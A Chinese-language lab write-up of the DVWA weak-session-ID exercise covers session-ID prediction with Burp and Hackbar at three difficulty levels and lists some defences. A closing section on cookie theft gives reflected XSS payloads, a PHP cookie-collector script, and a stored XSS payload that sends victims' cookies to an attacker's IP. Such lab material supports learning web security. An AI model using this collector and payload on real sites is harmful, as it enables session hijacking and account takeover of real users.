概述
Session对于Web应用无疑是最重要的,也是最复杂的。对于web应用程序来说,加强安全性的第一条原则就是 – 不要信任来自客户端的数据,一定要进行数据验证以及过滤,才能在程序中使用,进而保存到数据层。 然而,为了维持来自同一个用户的不同请求之间的状态, 客户端必须要给服务器端发送一个唯一的身份标识符(Session ID)。 很显然,这和前面提到的安全原则是矛盾的,但是没有办法,http协议是无状态的,为了维持状态,我们别无选择。 可以看出,web应用程序中最脆弱的环节就是session,因为服务器端是通过来自客户端的一个身份标识来认证用户的, 所以session是web应用程序中最需要加强安全性的环节。
基于session的攻击有很多种方式。大部分的手段都是首先通过捕获合法用户的session, 然后冒充该用户来访问系统。也就是说,攻击者至少必须要获取到一个有效的session标识符,用于接下来的身份验证。
DVWA实验
完全不知道这个怎么通关,这玩意儿大佬说是猜session值,所以这应该是的吧。
开始第一步,调级别。
LOW级别
首先将这个级别换到了LOW,题如其名。还是先利用burp进行抓包。
因为session是服务器给返回的值,所以我们应该查看他的响应包,所以我们将包发送到Repeat模块。
我们连续点击send发送包,查看他的session值。查看他的session值的规律,如果他有规律那么我们就可以构造session值。
通过几次的实验发现他没发送一次session值就增加一,所以我们可以利用这个session值来进行Cookie盗用。
使用Hackbar工具进行攻击。
按照上面的html构造Cookie的payload
dvwaSession=12; security=low; PHPSESSID=9uu34n47j66u3g420tv8j7chu0
Midium级别
这个也是一样,更换级别,使用burp进行抓包。
将抓住的包发送到Repeat模块。然后点击send发送。
多发送几次发现他毫无规律的在变化。
但是看这个有那么一点像时间戳,我们可以写一个脚本看是否是时间戳。
发现这个好像就是时间戳,所以我们可以利用脚步加Cookie盗用进行攻击注入。
这个级别就不能使用hackbar了,我们只能使用脚本进行攻击,在修改headers中的Cookie值进行攻击,将时间戳传递给session。
HiGH级别
还是原样子,我们先修改级别,进行抓包分析。
如上图所示,还没有像服务器发送请求包但是这个session值就出现在了请求包了。尝试多请求几次他还是那个session值,这个session值未发生改变。
就这就不会了,还是查看源码吧。
通过源码知道session值分为了两部分,第一部分将session值给用md5加密了,加密还好,关键是他加密之后还要使用时间戳,时间戳还好,他还加了3600。
防御措施
- 更改Session名称。PHP中Session的默认名称是PHPSESSID,此变量会保存在Cookie中,如果攻击者不分析站点,就不能猜到Session名称,阻挡部分攻击。
- 关闭透明化SessionID。透明化SessionID指当浏览器中的Http请求没有使用Cookie来存放Session ID时,Session ID则使用URL来传递。
- 设置HttpOnly。通过设置Cookie的HttpOnly为true,可以防止客户端脚本访问这个Cookie,从而有效的防止XSS攻击。
- 关闭所有phpinfo类dump request信息的页面。
- 添加Token校验,或者添加随机数。
Cookie盗取
详情去看XSS总结吧。
最直接的方法就是利用XSS漏洞进行获取。
反射型XSS注入
脚本内容:<script>alert(document.cookie)</script>
伪脚本内容:javascript:alert(document.cookie)
事件内容:οnclick=alert(document.cookie)
超链接内容:<a href="javascript:alert(document.cookie)">
存储型XSS注入。
首先先创建一个存放Cookie值的文件,例如创建一个cookie.txt的文件用于存放Cookie值。
然后在构建一个文件用于获取Cookie值。例如创建一个getcookie.php。
getcookie.php内容
<?php
$cookie = $_GET['cookie'];
file_put_contents('cookie.txt',$cookie);
?>
然后我们向他的存储性XSS漏洞点去添加执行语句,让他存储进数据库中。
<script>location.href="http://你的ip/getcookie.php?cookie="+document.cookie</script>
将这个语句放进数据库中,只要他点击了那个漏洞点就会执行这段话,他的Cookie值就会被放进cookie.txt中。
后面就可以利用cookie做一些别的事儿了。